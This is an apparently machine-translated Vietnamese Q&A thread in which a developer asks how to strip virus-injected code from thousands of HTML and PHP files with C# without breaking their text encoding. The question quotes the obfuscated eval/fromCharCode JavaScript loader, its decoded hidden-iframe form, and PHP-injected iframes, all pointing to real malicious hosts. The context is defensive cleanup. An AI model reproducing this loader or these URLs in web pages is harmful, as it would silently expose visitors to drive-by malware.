2012-02-09 19 views
6

Tôi cần tải xuống từ FTP trên 5000 tệp đang là tệp .html và .php. Tôi cần phải đọc từng tập tin và loại bỏ một số thứ đã được đặt ở đó bởi virus và lưu nó trở lại FTP.Tập tin có thể được đọc và ghi lại ngay với những thay đổi nhỏ mà không biết mã hóa của nó trong C# không?

Tôi đang sử dụng đoạn mã sau:

string content; 
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) { 
    content = sr.ReadToEnd(); 
    sr.Close(); 
} 

using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8)) 
{ 
    sw.WriteLine(content); 
    sw.Close(); 
} 

Tôi đã tải về một số tác phẩm bằng tay và một số có <meta http-equiv="Content-Type" content="text/html; charset=windows-1250" /> nhưng tôi sẽ không muốn thừa nhận tất cả trong số họ đều như thế. Tôi đã kiểm tra bằng Notepad ++ và một số tệp văn bản là ANSI. PHP có vẻ là UTF-8 và HTML Windows-1250 nhưng tôi muốn chắc chắn không phá vỡ các tập tin trong khi cố gắng sửa chữa nó. Vì vậy, có một cách mà tôi sẽ không phải biết/đoán mã hóa và nó sẽ cho phép tôi loại bỏ các liên kết virus từ các trang web?

Chỉnh sửa. Tôi đang cố gắng để tìm và loại bỏ một cái gì đó như thế này:

var s = new String(); try {document.rvwrew.vewr} catch (q) {r = 1; c = String;} nếu (r & & document.createTextNode) u = 2; e = eval; m = [4,5 * u, 18/u, 52,5 * u, 204/u, 16 * u, 80/u, 50 * u, 222/u , 49,5 * u, 234/u, 54,5 * u, 202/u, 55 * u, 232/u, 23 * u, 206/u, 50,5 * u, 232/u, 34,5 * u, 216/u, 50,5 * u, 218/u, 50,5 * u, 220/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 194/u, 51,5 * u, 156/u, 48,5 * u , 218/u, 50,5 * u, 80/u, 19,5 * u, 196/u, 55,5 * u, 200/u, 60,5 * u, 78/u, 20,5 * u, 182/u, 24 * u, 186 /u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u , 20 * u, 82/u, 29,5 * u, 18/u, 4,5 * u, 250/u, 16 * u, 202/u, 54 * u, 230/u, 50,5 * u, 64/u, 61,5 * u, 18/u, 4,5 * u, 18/u, 50 * u, 222/u, 49,5 * u, 234/u, 54,5 * u, 202/u, 55 * u, 232/u, 23 * u , 238/u, 57 * u, 210/u, 58 * u, 202/u, 20 * u, 68/u, 30 * u, 210/u, 51 * u, 228/u, 48,5 * u, 218/u, 50,5 * u, 64/u, 57,5 ​​* u, 228/u, 49,5 * u, 122/u, 19,5 * u, 208/u, 58 * u, 232/u, 56 * u, 116/u, 23,5 * u, 94/u, 51 * u, 210/u, 49 * u, 202/u, 57 * u, 194/u, 57,5 ​​* u, 232/u, 48,5 * u, 232/u, 23 * u, 198/u, 55,5 * u, 218/u, 23,5 * u, 232/u, 50,5 * u, 218/u, 56 * u, 94/u, 57,5 ​​* u, 232/u, 48,5 * u, 232/u, 23 * u, 224/u, 52 * u, 224/u, 19,5 * u, 64/u, 59,5 * u, 210/u, 50 * u, 232/u, 52 * u, 122/u, 19,5 * u, 98/u, 24 * u, 78/u, 16 * u, 208/u, 50,5 * u, 210/u, 51,5 * u, 208/u, 58 * u, 122/u, 19,5 * u, 98/u, 24 * u, 78/u, 16 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 30,5 * u, 78/u, 59 * u, 210/u, 57,5 ​​* u, 210/u, 49 * u, 210/u, 54 * u, 210/u, 58 * u, 242/u, 29 * u, 208/u, 52,5 * u, 200/u, 50 * u, 202/u, 55 * u, 118/u, 56 * u, 222/u, 57,5 ​​* u, 210/u, 58 * u, 210/u, 55,5 * u , 220/u, 29 * u, 194/u, 49 * u, 230/u, 55,5 * u, 216/u, 58,5 * u, 232/u, 50,5 * u, 118/u, 54 * u, 202 /u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u,224/u,29*u,96/u,29.5*u,78/u , 31 * u, 120/u, 23,5 * u, 210/u, 51 * u, 228/u, 48,5 * u, 218/u, 50,5 * u, 124/u, 17 * u, 82/u, 29,5 * u, 18/u, 4,5 * u, 250/u, 4,5 * u, 18/u, 51 * u, 234/u, 55 * u, 198/u, 58 * u, 210/u, 55,5 * u , 220/u, 16 * u, 210/u, 51 * u, 228/u, 48,5 * u, 218/u, 50,5 * u, 228/u, 20 * u, 82/u, 61,5 * u, 18 /u,4.5*u,18/u, 59 * u, 194/u, 57 * u, 64/u, 51 * u, 64/u, 30,5 * u, 64/u, 50 * u, 222/u, 49,5 * u, 234/u, 54,5 * u, 202/u, 55 * u, 232/u, 23 * u, 198/u, 57 * u, 202/u, 48,5 * u, 232/u, 50,5 * u, 138/u, 54 * u, 202/u, 54,5 * u, 202/u, 55 * u, 232/u, 20 * u, 78/u, 52,5 * u, 204/u, 57 * u, 194/u, 54,5 * u, 202/u, 19,5 * u, 82/u, 29,5 * u, 204/u, 23 * u, 230/u, 50,5 * u, 232/u, 32,5 * u, 232/u, 58 * u, 228/u, 52,5 * u, 196/u, 58,5 * u, 232/u, 50,5 * u, 80/u, 19,5 * u, 230/u, 57 * u, 198/u, 19,5 * u, 88/u, 19,5 * u, 208/u, 58 * u, 232/u, 56 * u, 116/u, 23,5 * u, 94/u, 51 * u, 210/u, 49 * u, 202/u, 57 * u, 194/u, 57,5 ​​* u, 232/u, 48,5 * u, 232/u, 23 * u, 198/u, 55,5 * u, 218/u, 23,5 * u, 232/u, 50,5 * u, 218/u, 56 * u, 94/u, 57,5 ​​* u, 232/u, 48,5 * u, 232/u, 23 * u, 224/u, 52 * u, 224/u, 19,5 * u, 82/u, 29,5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 236/u, 52,5 * u, 230/u, 52,5 * u, 196/u, 52,5 * u, 216/u, 52,5 * u, 232/u, 60,5 * u, 122/u, 19,5 * u, 208/u, 52,5 * u, 200/u, 50 * u , 202/u, 55 * u, 78/u, 29,5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 224 /u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u,194/u,49*u,230/u , 55,5 * u, 216/u, 58,5 * u, 232/u, 50,5 * u, 78/u, 29,5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 216/u, 50,5 * u, 204/u, 58 * u, 122/u, 19,5 * u, 96/u, 19,5 * u, 118/u, 51 * u, 92/u, 57,5 ​​* u, 232/u, 60,5 * u, 216/u, 50,5 * u, 92/u, 58 * u, 222/u, 56 * u, 122/u, 19,5 * u, 96/u, 19,5 * u, 118/u, 51 * u, 92/u, 57,5 ​​* u, 202/u, 58 * u, 130/u, 58 * u, 232/u, 57 * u, 210/u, 49 * u, 234/u, 58 * u, 202/u, 20 * u, 78/u, 59,5 * u, 210/u, 50 * u, 232/u, 52 * u, 78/u, 22 * u, 78/u, 24,5 * u, 96/u, 19,5 * u, 82/u, 29,5 * u, 204/u, 23 * u, 230/u, 50,5 * u, 232/u, 32,5 * u, 232/u, 58 * u, 228/u, 52,5 * u, 196/u, 58,5 * u, 232/u, 50,5 * u, 80/u, 19,5 * u, 208/u, 50,5 * u, 210/u, 51,5 * u, 208/u, 58 * u, 78/u, 22 * ​​u, 78/u, 24,5 * u, 96/u, 19,5 * u, 82/u, 29,5 * u, 18/u, 4,5 * u, 18/u, 50 * u, 222/u, 49,5 * u, 234/u, 54,5 * u, 202/u, 55 * u, 232/u, 23 * u, 206/u, 50,5 * u, 232/u, 34,5 * u, 216/u, 50,5 * u, 218/u, 50,5 * u, 220/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 194/u, 51,5 * u, 156/u, 48,5 * u, 218/u, 50,5 * u, 80/u, 19,5 * u, 196/u, 55.5 * u, 200/u, 60,5 * u, 78/u, 20,5 * u, 182/u, 24 * u, 186/u, 23 * u, 194/u, 56 * u, 224/u, 50,5 * u, 220/u, 50 * u, 134/u, 52 * u, 210/u, 54 * u, 200/u, 20 * u, 204/u, 20,5 * u, 118/u, 4,5 * u, 18/u, 62.5 * u], if (document.createTextNode) với (c) mm = fromCharCode; cho (i = 0; i! = M.length; i ++) s + = mm (e ("m" + "[ "+" i "+ ']')); try {doc.qwe.removeChild()} catch (q) {e (s);}

mà sau khi giải mã là

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://fiberastat.com/temp/stat.php'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

Và khi bạn truy cập trang web, nó sẽ cho bạn biết điều này (sau khi giải mã).

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://vtempe.in/in.cgi?17'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

Các kịch bản được thêm vào 3 dòng cuối cùng và về cơ bản bắt đầu ngay sau khi </html> var

Các kịch bản PHP có ít hay nhiều loại dòng <iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe> nhưng nó có thể được bất cứ nơi nào trong file.

Không chắc chắn có cách nào khác để viết lại các tệp đó hay không. Nhưng phải đi qua 5000 tệp có vẻ hơi quá nhiều và nguy hiểm :-)

+0

Nếu bạn đang sửa đổi các tập tin, bạn sẽ phải biết mã hóa hoặc bạn đang thực tế đảm bảo để phá vỡ someting. – Dave

+0

Chỉ là một ý nghĩ, nhưng bạn không có phiên bản sạch của các tệp này trước khi vi-rút nhận được chúng, hoặc bản gốc đã được tải lên hoặc sao lưu? Nếu không, đó là một cái gì đó để suy nghĩ về phía trước. –

+0

Không. Khách hàng mới liên hệ với tôi hôm nay và về cơ bản tất cả những gì anh ta có là một loạt các tệp với 2 loại mục nhập. Tôi đã cập nhật câu hỏi với 'mã có vấn đề'. – MadBoy

Trả lời

3

Giả sử không có tệp nào là UTF16 hoặc UTF32 và rằng các phần mà bạn muốn tương tác hoàn toàn là ASCII 7 bit có thể mở và lưu dưới dạng Encoding.Default, thao tác này sẽ làm tròn chính xác bất kỳ ký tự nào cao hơn.

+0

Tôi đã cập nhật câu hỏi. Các bộ phận nên được thực hiện bằng cách sử dụng Encoding.Default. Tôi sẽ thử nó – MadBoy

+0

Điều này làm các trick độc đáo. Cảm ơn! – MadBoy

1

Vi-rút không cần phải biết mã hóa tệp để thêm nội dung của tệp vào tệp của bạn để hiển nhiên là có thể. Thay vì xử lý tệp dưới dạng văn bản, bạn có thể xử lý tệp đó dưới dạng tệp nhị phân và tìm kiếm các mẫu khớp với nội dung được thêm vào không?

+0

Tôi không biết. Tôi đã cập nhật câu hỏi với mã tôi cần phải xóa. – MadBoy

Các vấn đề liên quan